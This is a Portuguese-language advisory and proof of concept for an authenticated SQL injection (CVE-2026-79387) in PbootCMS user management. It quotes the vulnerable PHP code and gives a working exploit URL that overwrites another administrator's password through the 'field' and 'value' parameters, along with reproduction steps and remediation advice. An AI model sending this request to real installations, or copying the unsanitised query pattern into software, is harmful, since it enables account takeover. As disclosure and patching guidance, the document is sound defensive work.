
Prova de conceito para CVE-2026-79387, uma injeção SQL autenticada no gerenciamento de usuários do PbootCMS que permite atualizações arbitrárias de campos e a tomada de conta.
| Campo | Detalhe |
|---|
| ID CVE | CVE-2026-79387 |
| Produto | PbootCMS |
| Versões Afetadas | 3.2.0 – 3.2.5, e possivelmente anteriores |
| Tipo de Vulnerabilidade | Injeção de SQL (CWE-89) |
| Vetor de Ataque | Remoto (Autenticado) |
| Severidade CVSS | Alta |
| Descobridor | JihaoLi |
| Fornecedor | https://www.pbootcms.com/ |
Existe uma vulnerabilidade de injeção de SQL no módulo de gerenciamento de usuários do PbootCMS V3.2.5. A vulnerabilidade reside no método mod() de /apps/admin/controller/system/UserController.php (linha 149) e no método modUser() de /apps/admin/model/system/UserModel.php.
O parâmetro field é totalmente controlado pelo usuário por meio de uma solicitação GET, sem qualquer validação de lista de permissões. O parâmetro value é igualmente controlado pelo usuário e é diretamente concatenado na instrução SQL UPDATE. Um atacante autenticado pode especificar qualquer coluna do banco de dados como field (por exemplo, password, username, status, role), permitindo manipulação arbitrária de dados.
// UserController.php - método mod()
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field e $value são obtidos diretamente da superglobal $_GET e concatenados em uma string SQL com nenhuma sanitização, nenhuma lista de permissões e nenhuma consulta parametrizada. Essa string é então passada para UserModel::modUser(), que a encaminha para o método base Model::update(). Como o argumento é uma string (não um array), ele ignora a validação de nome de campo checkKey() e é incorporado literalmente na cláusula SET:
UPDATE ay_user SET <controlado-pelo-usuário>= '<controlado-pelo-usuário>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
Um atacante autenticado pode:
ucode=10001).value permite escape de aspas simples, potencialmente habilitando ataques baseados em consultas empilhadas ou tautológicas.Isso leva à assunção de conta e ao controle total do backend do CMS.
192.168.1.104, Apache/PHP 7.2.1/SQLite)Acesse o painel de administração do PbootCMS e faça login com a conta padrão admin.

Navegue até Gerenciamento do Sistema → Gerenciamento de Usuários → Adicionar Usuário. Crie um novo usuário:
admin2admin
A lista de usuários confirma admin2 com ucode=10002:

Abra uma nova janela do navegador. Tente fazer login como admin2 com a senha 123456 — isso falha porque a senha real é admin:

Usando o navegador do administrador já conectado, navegue até:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291é o hash MD5 de123456.
O método mod() executa a injeção e redireciona via location(-1):

Agora tente fazer login com admin2 / 123456:

A senha foi alterada com sucesso por meio de injeção de SQL. O usuário agora está conectado com a nova senha, confirmando a assunção total da conta.

Quando update() recebe um argumento de string, ele é usado como está na cláusula SET, sem qualquer escape:
final public function update($data = null)
{
if (is_array($data)) {
// Caminho do array: checkKey() valida nomes de campos
...
} else {
// Caminho da string: NENHUMA VALIDAÇÃO
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Execução direta, sem prepared statement
}
field — permitir apenas nomes de colunas conhecidos (status, username, realname, password).$value para evitar quebra de aspas.field for password, aplicar encrypt_string() ao valor antes do armazenamento.mod() deve exigir um token CSRF válido e uma verificação de autorização em nível de função.Divulgação: Esta vulnerabilidade foi divulgada de forma responsável ao fornecedor. Se você estiver executando uma versão afetada, atualize imediatamente e audite todas as contas do backend.